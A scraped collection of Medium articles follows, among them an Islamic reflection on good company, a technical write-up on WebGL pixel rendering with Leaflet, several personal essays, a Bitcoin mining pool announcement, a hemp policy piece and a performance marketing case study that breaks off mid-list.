يَا وَيْلَتَىٰ لَيْتَنِي لَمْ أَتَّخِذْ فُلَانًا خَلِيلًا لَّقَدْ أَضَلَّنِي عَنِ الذِّكْرِ بَعْدَ إِذْ جَاءَنِي ۗ وَكَانَ الشَّيْطَانُ لِلْإِنسَانِ خَذُولًا Oh, woe to me! I wish I had not taken that one as a friend. He led me away from the remembrance after it had come to me. And ever is Satan, to man, a deserter.³
It is made clear in this verse that when we keep bad company close, they lead us away from Allah. By contrast, Allah also tells us the effects of being surrounded by good company when He says,
ٱلۡأَخِلَّآءُ يَوۡمَٮِٕذٍ بَعۡضُهُمۡ لِبَعۡضٍ عَدُوٌّ إِلَّا ٱلمُتَّقِينَ Friends on that Day will be foes one to another except Al-Muttaqoon (the pious)⁴
Al-Qurtubi (may Allah have mercy on him) said: “Friends on that Day” i.e., the Day of Resurrection “will be foes one to another” i.e., they will be enemies to one another and will curse one another “except Al-Muttaqoon (the pious)” who will be friends in this world and in the Hereafter.⁵
Ibn Katheer (may Allah have mercy on him) said: “That is, every friendship that was for the sake of anything other than Allah will, on the Day of Resurrection, turn into enmity, except for that which was for the sake of Allah, may He be glorified and exalted; it will last forever.”⁶
Many of us are likely familiar with the story of the people of the cave. The story is from the 18th chapter of the Quran spanning verses 9–22, about a group of youth who woke up in a cave after having slept for 300 years, as a sign to show the people that Allah can indeed raise the dead. In this story, Allah mentions the dog that accompanied them,
وَكَلْبُهُم بَاسِطٌ ذِرَاعَيْهِ بِالْوَصِيدِ And their dog stretched his forelegs at the entrance⁷
My question is the following: why did Allah mention this dog and cause the dog to sleep for the same duration as the people? This question is especially important when, as Muslims, we do not necessarily consider dogs to be clean and pure animals. We can find the answer when looking at the commentary for this verse. The famous scholar of tafsir Ibn Katheer (may Allah have mercy on him) said, “The blessing they (the people of the cave) enjoyed extended to their dog, so the sleep that overtook them overtook him too. This is the benefit of accompanying good people, and so this dog attained fame and stature too.”⁸ This is an amazing example of the benefits of good company. Regardless of our current character, when we are surrounded by those with positive intentions and actions, we will be inclined to follow the same path, and the opposite, regarding bad company, is also true.
We need to reflect and ask ourselves, do we have good company around us? | https://medium.com/from-the-minbar/faith-friendship-how-much-influence-do-your-friends-have-over-you-c30d83491044 | ['Noor Chaudhry'] | 2020-08-10 20:49:15.607000+00:00 | ['Islam', 'Faith', 'Friendship', 'Quran', 'Religion'] |
The Issue of Traffic in Pakistan | This major issue is caused by lack of public transportation and people not following traffic rules. Drivers drive recklessly. The traffic police mostly disappear, the roads are left abandoned where the police are utmost needed, or do not bother to monitor about the ruthless drivers as they put lives of the passengers at risk. This is due to a lack of civic sense in people which results in violation of traffic rules and laws. There is an ignorance of the traffic signs like Zebra Crossing, One-way, Stop, Parking, etc. Ambulances are not given space to go through the way, and it is risky for the serious patients inside the ambulance, drivers must reach hospital as quick as possible to save patients’ life. The number of road accidents is also growing apart from pedestrians facing a lot of inconvenience while crossing a road. The number of increasing trucks is also playing its part in this disastrous issue. Dishonesty of traffic police& avoidance of taxes by the general public are also the reasons of this poor system of traffic in Pakistan.
from @samaa.tv
from @samaa.tv
The issue of lack of public transport can be solve by government. Government of Pakistan should take this issue seriously and start projects like orange line train in Lahore in other cities too. Government should also restore goods trains, which will eventually decrease the number of trucks on roads, which are the one major cause of traffic jams. The people who also think that travelling by car can increase their respect in the society, should also change their mentality. Travelling by bicycle is more beneficial for health and for the environment. If you are only travelling for 2–3 km, you don’t need car, you can travel through bicycle or if public transport available in the area.
from @bbc.com
What we can do is that we can spread awareness in people for driving carefully and change the status co mentality, which thinks that respect is only for cars. We can arrange webinars with the help of traffic police and ask the government of Pakistan to make public transport more feasible. | https://medium.com/@muaaz-saeed173/the-issue-of-traffic-in-pakistan-a60cc0d693d6 | ['Muaaz Saeed'] | 2020-12-25 10:24:51.486000+00:00 | ['Traffic', 'Amal Fellowship', 'Amal Academy', 'Traffic Issues', 'Pakistan'] |
Visualizing Geospatial Pixel Data with Leaflet and WebGL | For IHME’s Local Burden of Disease project we produce raster datasets showing the geographical distribution of diseases, medical interventions, and other measures. Each pixel represents our researchers’ best estimate of the value of a given measure, expressed as a floating-point number, for an area representing roughly a 5km by 5km square. To visualize these data points, we colorize pixels using linear color scales, translating each floating-point value to a color via linear interpolation. Here, for example, is a pixel map representing vaccine coverage in Africa. Looking at the legend in the lower right corner, you can see that data values ranging from 0.0 to 100.0 are mapped to colors ranging from red-orange to blue, with some other colors in between.
Institute for Health Metrics and Evaluation (IHME). Local Burden of Disease — Vaccines. Seattle, WA: IHME, University of Washington, 2019. Available from http://vizhub.healthdata.org/lbd/vaccines (Accessed 8 August, 2019)
Rendering this pixel data efficiently in our web visualization tool (shown above) proved to be an interesting problem. This article describes the challenges we faced and how we addressed them.
First Approach: Map tiles rendered server-side with Carto
Our first approach to producing colorized raster map tiles leveraged the “location intelligence platform” Carto. Carto provides, among other things, a map tile server that is capable of the sort of pixel colorization via linear interpolation that we needed. While setting up a custom instance of Carto’s open-source platform was far from easy, its capabilities served our needs well for a time. We were able to give the tile server a SQL query for generating map tiles from data in our custom PostGIS database along with some rules for how to colorize the pixels. The server would then return to our browser-based visualization colorized map tiles as PNG images, and we displayed these tiles using the mapping framework Leaflet.
Over time we grew dissatisfied with this approach, however. Not only was Carto challenging to set up and maintain, particularly in our containerized microservice implementation, but the tile server was quite slow at producing the colorized map tiles, making using the visualization tool a frustrating experience. We did some performance testing of the server with Apache Jmeter and found that it was taking about 3 seconds, in the best case, to return a tile. I suspect we could have squeezed better performance out of the tile server with some optimizations, but its codebase was always something of an impenetrable black box to us, and the prospect of searching for needles in this haystack seemed quite daunting.
The Idea: Client-side rendering with WebGL
Around this time, I began thinking about other ways to render our map tiles. One option was to create our own tile server to do the colorization. A custom server could be better suited to our specific needs, and, crucially, we would be more able optimize its performance because we would understand it better. Yet a server-side solution had some inherent limitations. Rendering a large number of pixels on the CPU is bound to be slow, because the pixels must be processed sequentially (or with limited parallelization taking advantage of multicore architecture). It seemed to me that the ideal way to render the images was on the GPU, which is specifically designed to process large numbers of pixels in parallel. Since the commodity hardware on which our applications are deployed don’t have GPUs, however, server-side GPU rendering would not be possible. Fortunately, modern browsers provide a way to do GPU processing: WebGL! A WebGL solution would mean the tile server would have very little to do — just retrieve pixel data from PostGIS and then pass it in essentially raw form to the client. The user’s browser would then be responsible for actually colorizing the pixels, and it could take advantage of GPU rendering to do this very efficiently.
Having the raw floating-point pixel values available client-side would have another advantage as well — allowing the user quick access to the actual pixel-level estimates in the visualization. Our visualization already had the capability of getting the data value of a given pixel when clicked by the user, but doing so required a backend request and was therefore relatively slow. Having the data available client-side would mean we could show pixel values in a tooltip while the user hovers over the map.
Problem 1: Reading floats from a texture in a WebGL shader
The first and most important hurdle I foresaw with this new approach was a limitation of WebGL 1.0: the lack of support for floating-point textures. A “texture,” in graphics parlance, is essentially an image you pass to the GPU. Once a texture is loaded, you can read its pixels in your shader, which is a small user-defined program that runs on the GPU. WebGL 1.0, by far the most widely implemented version of the standard, allows you to create textures using a variety of pixel types, like RGB and RGBA, but unless the extension OES_texture_float is enabled for a user's hardware and browser, it's not possible to use a texture in which the pixels represent floats. WebGL 2.0 adds support for float textures, but our analytics indicated that many of the users of our tool didn't have the capability of using WebGL 2.0.
Luckily, there was another possibility. An RGBA pixel is supposed to represent four color “channels” (red, green, blue, and alpha — aka. opacity), each of which is a single byte (i.e. 8 bits). This gives us 32 bits total to work with per pixel, exactly the space needed to store a single 32-bit floating point value! In principle, therefore, we could encode one float per pixel, feed this raw binary data to WebGL, and then decode the floats in the shader code. Using JavaScript’s TypedArrays, it’s trivial to create binary data representing a sequence of floats, then reinterpret this data as 8-bit unsigned integers in order to “trick” WebGL into accepting it as RGBA pixel data:
reinterpreting floats as unsigned bytes to pass in a texture to WebGL
The hard part is decoding the pixels in the shader code. GLSL 1.00, the shader language used in WebGL 1.0, doesn’t even provide any bitwise operators, so one has to resort to ordinary arithmetic for parsing the binary data. My general approach was to decompose the four 8-bit integers representing the RGBA channels into an array of 32 bits, then compute the floating point value from these raw bits. With frequent references to the IEEE Standard for Floating-Point Arithmetic (IEEE 754), some trial and error (few tools exist for debugging shader code), and a lot of perseverance, I finally succeeded. If you’re curious, you can see my solution here.
Once a pixel’s float value is decoded in the shader, it’s pretty easy to colorize it by applying a linear color scale. GLSL conveniently provides a built-in function, mix , to do the linear interpolation.
Problem 2: Getting raw pixel data to the client
Once I had a working prototype of the WebGL renderer, I turned my attention server-side to figure out how we would pass the floating-point pixel data to the client. The source of this data was our PostGIS database. PostGIS extends the popular PostgreSQL RDBMS with geospatial capabilities. It defines a raster type for pixel data, with a few different output formats available:
“Well-Known Binary” (WKB) — essentially the same binary representation PostGIS uses internally
GeoTIFF — geospatial extension of the common TIFF format
JPEG
PNG
Of these choices, JPEG and PNG were unacceptable, because as implemented by PostGIS, they don’t support floating-point pixels. JPEG is also a lossy format, and we didn’t want to lose any data. GeoTIFF would work, because it’s lossless and supports floating-point pixels, but the format is rather complicated, and I suspected it wouldn’t be trivial to parse. Ultimately I opted for WKB, because its definition was simpler and I figured it would be faster for PostGIS to produce, because no format conversion would be needed. I couldn’t find any existing tools for parsing this format, but the definition was pretty straightforward, so it wasn’t too difficult to write my own parser.
With the floating-point pixel data extracted from PostGIS, I just needed a way to get it to the client. There were many possibilities for the interchange format, but I chose PNG, primarily because it seemed to be the most common format for raster data on map tile servers. Ordinarily, PNGs treat pixels as RGB or RGBA color channels, but I took inspiration from a common approach to creating Digital Elevation Model (DEM) tiles, whereby values that don’t represent colors are encoded into the RGBA channels (or more abstractly the 32 bits) of each pixel. Our PNG tiles would be a bit different from DEM tiles, because we needed to encode 32-floats, whereas DEM PNGs typically encode 32-bit integers. Still, the basic idea is the same — using the 32 bits available for each pixel to encode some value that doesn’t represent a color. Astute readers should also recognize this as the same approach we used for encoding floats in a WebGL texture. One bonus to using PNG is that the format provides lossless compression. The compression scheme is designed for RGB(A), so it doesn’t work as well for compressing floats, but it’s still better than no compression.
Problem 3: Integrating with Leaflet
By this point, I had a working prototype spanning the full stack. To summarize:
server:
query PostGIS for floating-point raster data
parse the result, extracting the raw pixels
pack the pixels into a PNG tile and send to the client
client:
extract the pixels from the PNG
pass them to WebGL via a texture
decode and colorize each pixel in the shader
To go from this prototype to a full implementation that would work in our mapping application, one major hurdle remained: integrating the WebGL rendering into Leaflet.
Leaflet is a popular and flexible JavaScript mapping framework, and one of its greatest strengths is its extensibility. The built-in TileLayer component is the standard way of displaying raster tiles in Leaflet. We had already written a custom component extending this tile layer for our prior implementation using Carto. I figured we could do something similar for the new implementation using WebGL, but many questions remained to be answered.
To figure out how best to do this, I spent some time examining the public APIs and interals of both TileLayer and GridLayer (which the former extends). GridLayer maintains a cache of tiles, indexed by x , y , and z (zoom level) coordinates. Based on the user's current view and some configuration settings, GridLayer is responsible for deciding when to add or remove tiles, and it controls how these tiles are positioned on the map. The actual tile creation is delegated to a method, createTile , that is intended to be overridden in derived classes. Our custom component would need to fetch and render its tiles in createTile .
For optimal performance in OpenGL, you typically want to render as much as possible in a single pass or “draw call”. I hoped to render multiple tiles per draw call to take best advantage of the hardware, but the design of GridLayer necessitated drawing one tile at a time, because createTile is called as needed for each tile that must be rendered. There was another issue as well: WebGL rendering is tied to a canvas HTML element. So as not to overtax the hardware resources and to prevent costly state changes in the WebGL system, it's best to use just one canvas for rendering. Given the design of GridLayer , though, which places an HTML element on the DOM for each tile, a single canvas clearly wouldn't suffice.
Creating a new WebGL context for each new canvas added to the DOM seemed too expensive, so I opted instead to create a single offscreen canvas used exclusively for WebGL rendering. Each tile would be rendered to this offscreen canvas on demand, then the rendered pixels would be copied to a new canvas that GridLayer would attach to the map. It's not an ideal solution, because when many tiles need to be rendered, many pixels must be copied from the rendering canvas to the onscreen canvas es, but it seemed the best option available given the design of GridLayer .
Flourishes
By now, the main work was complete, but there were a few more nice-to-have features I was keen to add. First, I wanted to make the floating-point value of the pixel under the cursor available to user-defined mouse events. Since the parent class, GridLayer , maintains a cache of the tiles visible onscreen, doing so was pretty easy. I could use the cursor's screen position to determine (1) which tile was under the cursor and (2) the cursor's pixel coordinates within the tile. From there, the float value could be obtained from the binary pixel data with a JavaScript DataView :
finding the value of the pixel under the cursor
Institute for Health Metrics and Evaluation (IHME). Local Burden of Disease — Under-5 mortality. Seattle, WA: IHME, University of Washington, 2017. Available from http://vizhub.healthdata.org/lbd/under5. (Accessed 21 August, 2019)
Second, I wanted to animate transitions (per pixel) when the user switched the view to load a new set of tiles. In addition to being a nice visual treat, I thought these transitions could be useful in the Local Burden of Disease visualization for illuminating changes over time. In particular, we typically provide a “play” control that allows users to view data for a series of years in a timed sequence. I found it difficult to perceive the magnitude of changes from year to year when viewing a sequence of static images, which was how we had originally implemented the play feature. I suspected, though, that animated transitions would help draw the eye to areas where more dramatic changes were occurring.
Institute for Health Metrics and Evaluation (IHME). Local Burden of Disease — Under-5 mortality. Seattle, WA: IHME, University of Washington, 2017. Available from http://vizhub.healthdata.org/lbd/under5. (Accessed 14 August, 2019)
To implement these transitions, I’d need to modify the WebGL renderer. Specifically, two textures would need to be loaded during transitions — one containing the old tiles and one containing the new. The shader code would need to compute the values of pixels in both the old and new tiles and interpolate between them over time. There were multiple cases to account for, because it was possible to (1) change the tiles but keep the colorization rules the same, and (2) change the tiles and the colorization rules. A third option would be to keep the same tiles but change the colorization rules, but since this wasn’t possible in the Local Burden of Disease application, I decided to defer implementing it until it was actually needed.
When changing the tiles but maintaining the colorization rules, we could interpolate between the floating-point values of each pixel in the old and new tiles, then compute the color of the interpolated value. This would mean each pixel would transition along the linear gradient(s) defined for the color scale.
interpolating by value and colorizing the result
When changing both tiles and colorization rules, though, this approach wouldn’t work, because old and new tiles needed to be colorized according to different rules. In this case, we would need to compute the color of each pixel in the old tiles and each pixel in the new tiles and then interpolate (in RGB color space) between the colors.
interpolating by color
Note that I’ve simplified the shader code here for the purpose of highlighting the basic concepts. For curious readers, here are the actual implementations for interpolating by value and interpolating by color.
Outcome
The new approach to fetching and rendering map tiles in the LBD application yielded encouraging results in terms of performance and usability. Tile requests now complete much faster — generally in less than a second, compared with 3+ seconds in the prior implementation. This makes using the tool in geospatial (i.e. raster) mode a smoother experience, eliminating the frustration of having to wait a long time for map tiles to load. Seeing pixel values on mouse hover allows users immediate and continuous access to the estimates being visualized. Finally, animated per-pixel transitions make the changes between one view and another easier to perceive, particularly helpful for visualizing changes over time.
After implementing this solution in the LBD application, I extracted and published the major components as open-source software: | https://medium.com/ihme-tech/visualizing-geospatial-pixel-data-with-leaflet-and-webgl-8642afb478d5 | ['David Schneider'] | 2019-08-26 21:07:49.906000+00:00 | ['Webgl', 'GIS', 'Data Visualization', 'Programming'] |
How the Gap in the Resume of Many Working Mothers Affects Their Career | Other Experiences
Out of curiosity, I asked other women about their experiences with this issue. And, of course, there was a mix of answers.
There were a bunch of lucky ones that work in companies that support women at every stage of their lives. The factors that helped them were made mostly by their line manager, their company’s policies, colleagues, and more important their partner.
If all of these factors don't sync, it is tough.
One thing worth noting that these women mentioned, is that “getting your job back is one thing, but making a career is a completely different ball game".
In some of these cases, they feel that is difficult to support their current team, in contrast to other team members who are single or don't have kids. It is very difficult choosing family time vs. the occasional drink after work.
But for the rest of us, life got more complicated. I want to remark that many of the women I talked to preferred to have a private conversation to explain their issues and asked not to be named because of the fear of prejudice of society. So, for privacy, I will use fake names.
In the case of Mery, the time off made a huge impact on her career, to the point where she had to change the industry and re-enter in a significantly lower position, feeling that her experience is not recognized.
Now, she is back in a junior position. Still, she is optimistic and feels grateful for having a job and a very supportive family.
Sophie moved countries and, after some time off, trying to get a job was not an option anymore. For her, things like overtime, 24-hour availability, month-end closings, would be a job impossible to maintain in the long run. Luckily, she was able to start her own company instead.
For Melissa, the expenses for daycare were so high that it made no sense for her to start working. Her income was drastically reduced. In time, she managed to go back to work to the same position but part-time in university and with no change in salary.
After leaving that job, when she applied for another job, she was explicitly told that the institution was unable to give her a higher position due to her gap in experience, despite her excellent qualifications. Instead, the successful (male) candidate had no such gap.
Gabriella mentioned that moving to a different country and age are the issues for her. When the family moved countries, she expected to take some time off to enjoy her kids.
But things didn't go as planned and she had to start looking for a job. Despite being very qualified and having worked in many places at the director level, she can't get interviews.
Also, she is primarily responsible for her kids, so things like kids' activity schedules are on her and paying someone to help with this would significantly reduce her income.
So after 50, she feels that her professional life is over but she is not ready or prepared financially for retirement. She feels that more doors are closed than open.
I have the impression that companies feel they just can't afford to incorporate women that took the decision of staying at home due to the fear that the company is not the main priority in their lives. | https://medium.com/better-programming/how-the-gap-in-the-resume-of-many-working-mothers-affects-their-career-3402ba0b3a84 | ['Liliana Nuño Silva'] | 2019-09-02 23:28:04.051000+00:00 | ['Work Life Balance', 'Equal Opportunity', 'Parenting', 'Programming', 'Working Moms'] |
To The Woman Who Destroyed My Self-Confidence | To the Woman Who Destroyed My Self-Confidence,
I’m sure you don’t remember the moment you destroyed my self-confidence. I mean, it has been over ten years since this has happened. But I remember it like it was yesterday.
I was having a great evening with my friends, my closest friends. We were laughing, having dinner, and enjoying our evening. Then you came up to us. You were smiling with a gentle smile and talking to us casually. I thought you were only here to have a pleasant conversation, nothing alarming. Besides, why should I be alarmed? You were friends with our parents. I have known you for a few years now, and my friends grew up with you. I thought you were a kind and gentle person. You always spoke kindly to us and made us laugh. But little did I know that a serpent disguised as an angel was amongst us.
You looked at every single one of my friends and complimented them on how beautiful they were. One by one, you flattered and charmed them with your sweet words. When you looked at me, you said to me in your sweetest voice, “You’ll be prettier if you’ve lost weight. Right now, you’re too fat.”
I was too speechless, too embarrassed. I was completely and utterly shocked. I didn’t know how to respond, and before I can even say a word, you had disappeared, only to be seen with our parents.
I wish I can say that your words didn’t affect me, but it did. I wish I can say that I moved on and never thought about the incident again, but I still do.
I struggle with my weight, and every time I see myself, I repeat those same venomous words you had spoken to me all those years ago. I had continuously blamed myself for gaining weight and have thought of myself as lazy and unmotivated.
But not this time, this time, I blame you. You chose to value appearance over character and decided that you, an adult, would speak such damaging words to a child.
But here I am today, an adult, and I want to tell you that I forgive you. I forgive you for choosing destructive words over words of nourishment. I forgive you for your lack of discernment. And most importantly, I forgive you for destroying my self-confidence.
Your words still influence how I see myself, but now, I can speak words of kindness to myself because I have a husband who nourishes me with his loving words. Now, I can forgive myself for repeating the same words to myself because I have people who value my character more than my appearance.
Building up my self-confidence will be a journey. But it is a journey that you will never be a part of, and you will never have the privilege of seeing the fruits of my labor.
From,
The Girl Whose Self-Confidence You Destroyed
P.S. Someday, I will be, The Woman Who Overcame Brokenness. | https://medium.com/be-unique/to-the-woman-who-destroyed-my-self-confidence-d97af85579d5 | ['Tiffany Hsu'] | 2020-12-19 07:09:57.769000+00:00 | ['Empowerment', 'Letters', 'Self Confidence', 'Body Image', 'Forgiveness'] |
I Got Botox | I Got Botox
The wonder drug from which you should run, screaming.
Grimace.
On my 30th birthday I sat in an office in Beverly Hills and winced while a doc shot 40 ccs of botulism into several holes that he made in my face.
Freezing my face was a big mistake. I know that now. I think. The problem is, I did it three times, each time unhappy with the result, each time going back for more. My high school once had a headmistress who became famous for accidentally shooting her lover in the back – nine times. So it was with me and Botox. Somehow, it just kept happening.
The first time, I sat for a few minutes in a waiting room before the doctor arrived. On one wall hung a giant poster of Greta Garbo. Comforting. I was following in the footsteps of the great beauties of history… by turning my face into impassive, impenetrable mask. Actually, my modern-woman’s lot was much better. I didn’t have to paste up my eyebrows with stick’um. Science would smooth my brow.
The doctor arrived. First we quickly cleared him of all possible wrongdoing with the necessary paperwork. I jokingly asked him why the price of Botox hadn’t come down yet, and he told me, very seriously, that he’s not the one profiting; he barely makes anything off a sitting.
“So you’re saying it’s a loss leader?”
He laughed and said yes. Apparently, Botox is plastic surgery’s gateway drug.
“OK, another question. Would it be possible just to clear up the line between my eyes, and leave the rest alone?”
He paused, and gave me a look.
“But what about the rest of your lines? Your forehead…” he trailed off, confused.
“I know. It’s just that it’s the line between my eyes that I’m really worried about. The rest doesn’t really bother me.”
“Well, if we cover more ground – here, and here, and here, and oh yes, probably here,” he said, dusting my face with his fingertips,” I think you’ll have a more natural result.”
I laughed.
“Natural?! We’re talking about using a toxin to disable my face.”
He laughed back – notably, without the involvement of his forehead.
“Don’t worry, I hate the frozen look. You’ll have the lift you need around your eyebrows.”
“Please don’t make me look like Joe Biden.”
“You won’t look like Joe Biden.”
I broke down pretty easily. Three days later I had the faint ability to raise the far corners of my eyebrows. | https://humanparts.medium.com/i-got-botox-fa16867259e | ['Sara Grace'] | 2019-02-07 22:31:53.438000+00:00 | ['Body'] |
Luxor Tech Launches Bitcoin Pool | We’re excited to reveal our biggest product launch to date: a Bitcoin Mining Pool.
Luxor Tech is North America’s largest mining pool operator, supporting 15 different coins and over 8,500 miners. We are experienced in delivering high quality pools, with strong uptime and customer service and are thrilled to bring this knowledge to the Bitcoin Mining Industry!
A Brief Timeline
Luxor was founded in late 2017 by a team of devs committed to creating high-quality mining products to support the industry.
The company was created because we truly believe that crypto will fundamentally change value creation & transfer in our future society (for the better). From the beginning, we have all thought of classical Nakamoto consensus (Proof-of-Work) as the only proven and tested mechanism for securing a decentralized platform. We revisit this debate as a team monthly, and our conviction in the consensus mechanism is still as strong today as it was back in 2017. This means the future of decentralized finance will require responsible guardians to efficiently harness energy to maintain the security of networks. We strive to be one of those responsible guardians.
We started 2018 with a small team and two mining pools. Over time, we received great feedback from our community. We understood that miners valued high-grade mining pools with strong customer support and a mission to improve the ecosystem in which they operated.
By October 2019, we have built a total of 15 public mining pools and a suite of enterprise-level mining products. We are proud of what our team members have been able to build with the support and feedback of our community.
Pool Details
We are excited to introduce our first PPS+ pool. For further information on PPS+ please check out this article we wrote.
Our Bitcoin pool is AsicBoost compatible, allowing miners to improve the efficiency of their operations.
We are starting by offering Nodes in the US, China, Asia (Singapore) and Europe.
What’s next?
In the horizen, Luxor plans to implement Stratum V2 which among other things gives individual miners the ability to control which Bitcoin transactions to include in their newly mined blocks. As a result, the Bitcoin network becomes more decentralized and censorship resistant as operators of large pools no longer centrally determine which transactions to include into blocks.
How to Get Involved
We are continuing to expand our operations, please contact us at [email protected] if you would like to partner to further build our mining community.
We’re also on Discord. Ping us there at https://discord.gg/5qPRbDS
Also follow us on Twitter for Pool Updates: https://twitter.com/LuxorTechTeam | https://medium.com/luxor/luxor-tech-launches-bitcoin-pool-b7a2dd63acc2 | ['Luxor Tech'] | 2019-10-12 01:53:33.287000+00:00 | ['Cryptocurrency Mining', 'Mining Pool', 'Community Update', 'Bitcoin', 'Cryptocurrency'] |
Growing Up in a Liberal State in a Conservative County | “Hola Amigo,” a 50-something year old white man casually says to his white friend in horrible Spanish. They are both born and raised in Orange County, Southern California. Probably surfers since the 70s and 80s. They look comfortable everywhere they go in their dad outfits, shriveled tan skin, and shroud of privilege. The friends vote Republican but they have someone like my mom clean their house once or twice a week. They eat Mexican food in greasy, inauthentic spots where they scoop watery, tasteless salsas onto stale chips. They love cheap Mexican food and home renovations and clean homes. But they do not like seeing Mexicans in their city.
Growing up in Orange County messed me up. My childhood was great because I was oblivious to the stares and why my mom got them. I attended a dance studio until I was 14. My mom struggling to pay for classes and competitions; rushing me to the studio after picking me up from afterschool childcare. I had no friends at the studio and I thought it was because of my loud personality. I now look back and realize that the studio was attended by rich white kids with Republican parents. When I was 11 I heard a mom say she did not go to a certain shopping plaza because it was attended by Mexicans. She must go to that plaza now given that they opened a Trader Joes there. Recently I looked up one of my prior dance teachers. She turned out to be a Trump-loving Immigrant-hating tweeter. How hypocritical given how profusely she thanked my mom for the tamales every holiday season.
Can the reason I have mild social anxiety be traced back to growing up in Orange County with a Mexican immigrant mother who spoke limited English? Probably. Can the reason I have never been able to relate to or trust or closely befriend white people be because I grew up in Orange County? Yes. Am I quick to see the negative qualities in white people over any positive qualities? Yes again. Sometimes my mindset saddens me but I am quick to forgive myself given that the cautiousness I feel around white people is a self-defense mechanism.
When I first saw a Trump tent in a corner of my hometown ahead of the 2020 election I wanted to cry. Then I saw one after another one and it made me angry. From a stoplight, I saw Latina moms walk hand in hand with their children by those Trump groupie tents. It made me realize that their kids would not get to be oblivious to the dirty looks and hateful energy as long as I had been. They would feel hurt and shame for being on one side of a meaningless border over the other.
I am back in Orange County. This is not surprising given that at this time a record-breaking 52% of young adults are living back at home(Times). At my new job, one of my Microsoft Teams-introduced coworkers found out I lived in Orange County. They said they were jealous because their sister had moved there and loved it. He is white from a suburb in Northern California and he was surprised to find out I did not like Orange County. I almost told him that it was the perfect place to live if you were white and loved to pretend that everything in the world was right.
I stay inside my house because it is what you are supposed to be doing. I am not surprised that others in my county have no regard for others during this pandemic. They showed their lack of empathy through their omnipresent hate for their immigrant neighbors.
I cannot wait to leave Orange County once again. | https://medium.com/@fruitages/growing-up-in-a-liberal-state-in-a-conservative-county-cbe8e12b0ea1 | [] | 2020-12-22 06:35:08.580000+00:00 | ['Immigrant Children', 'American Dream', 'California', 'Racial Identity', 'Coming Of Age'] |
The .3 Percent THC Threshold Hurts Our Hemp Farmers | Despite the wild west stage hemp is currently running through, the versatile crop is here to stay. From fiber, to extraction, to smokable flower, 465,787 acres of hemp were planted across the United States in 2020, according to Hemp Industry Daily. While that is a very large stash, more than a few farmers have had their crops go up in smoke…and not in a good way.
For example, USA Today, reported, “ About 13% of Iowa farmers’ hemp fields had to be fully or partially destroyed because the THC levels in the plants exceeded 0.3%, the maximum allowed under state and federal laws.”
According to the USDA interim final rule enacted on October 31, 2019, “ the term “hemp” means the plant species Cannabis sativa L. and any part of that plant, including the seeds thereof and all derivatives, extracts, cannabinoids, isomers, acids, salts, and salts of isomers, whether growing or not, with a delta-9 tetrahydrocannabinol concentration of not more than 0.3 percent on a dry weight basis.” Under federal law, anything above .3 percent is considered marijuana.
With the vast majority of hemp grown outside, thousands of variables can affect how the plant will produce THC. In an article published by Terpenes and Testing Magazine, “ THC and other cannabinoids are plant defense mechanisms, and cannabis responds to environmental stress with decisive chemical action.” It is also worth noting genetics also play a role in how a plant will produce THC. Farmers should always throughly research which strains they will choose to plant.
Iowa isn’t the only state watching its crops go up in smoke. This is an issue farmers in every state face. Besides battling pests, the weather, and a million other factors, farmers have to battle the plants themselves in order to remain compliant with already outdated laws.
There is a push from dozens of groups to raise the legal THC limit to 1 percent. Everything from financial damage to farmers to how the extraction process and the THC percentage correlate has been cited as reasons to change the legal limit.
However, there is hope for the hemp sector of the cannabis industry. In early December, the House passed the MORE Act, which, if passed by the Senate, will decriminalize marijuana. This could open up the door needed to raising the THC limit for legal hemp.
The hemp industry is growing, but the .3 percent THC threshold is hurting our farmers. The current threshold puts farmers at unnecessary risk of losing their otherwise healthy crop. Without reasonable boundaries, the industry’s growth is restricted. Thankfully, the current research within the industry is helping to provide valuable information used to change outdated legislation. Only through education and research will we pull hemp out of its wild west stage into a new era. | https://medium.com/@thehempbitch/the-3-percent-thc-threshold-hurts-our-hemp-farmers-30d4a7d40868 | [] | 2020-12-15 19:45:32.450000+00:00 | ['Thc', 'Opinion', 'Farming', 'Hemp Farming', 'Hemp'] |
데이터 분석의 종류 Revisited | Exploratory Analytics (탐험적 분석):
“‘Exploratory data analysis’ is an attitude, a state of flexibility, a willingness to look for those things that we believe are not there, as well as those we believe to be there.” by John W. Tukey | https://medium.com/heartcount/%EB%8D%B0%EC%9D%B4%ED%84%B0-%EB%B6%84%EC%84%9D%EC%9D%98-%EC%A2%85%EB%A5%98-revisited-561a09ec9daa | ['Sidney'] | 2019-11-23 06:04:06.514000+00:00 | ['Data Visualization', '데이터', 'Eda', '탐험분'] |
On the way to scalability | How Project A helped KRY to set the foundations to scale global performance marketing.
“For me as VP of Marketing, it was important to understand where we stand in terms of our performance marketing channels and what we need to work on. Project A helped a lot in that regard.” — Neil Bridgeman, VP Marketing KRY
KRY is one of Project A’s biggest portfolio companies with over 300 employees working on reimagining the healthcare industry. With the KRY app, you can have a doctor consultation by video and get medical advice, prescriptions and sick notes. Over one million patients across Europe have used the app to get medical help. The company operates in Sweden, Norway, UK, France and has just launched in Germany.
Project A was asked to help the team become more efficient with performance marketing in their core market Sweden, thereby accelerating growth and setting the foundation for scalability across markets. Here is what we did and what can similarly be applied by high-growth companies.
Improving the efficiency of your performance marketing accounts
We started off by conducting audits for each channel and by discussing and prioritizing the findings with the team. Here are some of the things we did to improve efficiency across performance marketing channels:
Eliminated money burning keywords and put a cap on competitors for Apple Search Ads (ASA).
Introduced best practices for Google Search and Google App campaigns (e.g. smart bidding).
Reduced complexity for Facebook and Instagram campaigns (lean structure).
Set up correct audience structures to be excluded by partners like Facebook / Snapchat.
Refocused campaigns outside of Stockholm to acquire new customers on Snapchat.
Introduced retargeting based on specific landing pages on the website.
Introduced new creative concepts to advertise for more medical symptoms.
Separated awareness campaigns from pure performance campaigns.
The result was that we were able to lower the Customer Acquisition Cost (CAC) considerably and achieved the best performance on the Google accounts since we started working on the project.
“In the first phase, Project A did an incredible job in improving efficiency after a thorough audit and understanding of the current state of Kry’s marketing efforts. This helped lay the foundation for further scalability and bring performance marketing inhouse.” — Sumitra Balakrishnan, Global Performance Marketing Director KRY
Documenting existing knowledge
Yes, it probably sounds quite obvious to document existing knowledge. However, the truth is that you rarely do it when you are in high growth mode. So for us, the challenge was to gather existing knowledge on accounts, events and different apps and write everything down.
This will make your life so much easier and facilitate the onboarding of new people. It will also free your team from having to answer the same questions over and over again instead of just referring to a file with all the answers.
Simplifying structures and introducing best practices
There are many ways to set up your account and campaign structures and every agency has their own way of doing it. However, there are best practices that you should stick to and implement across markets to make scaling easier. And while you may or may not use what Google suggests in terms of account structure (see below), your account structure should be informed by the nature of your company and by your future strategy while taking all markets into account. Here’s what we changed during our restructuring:
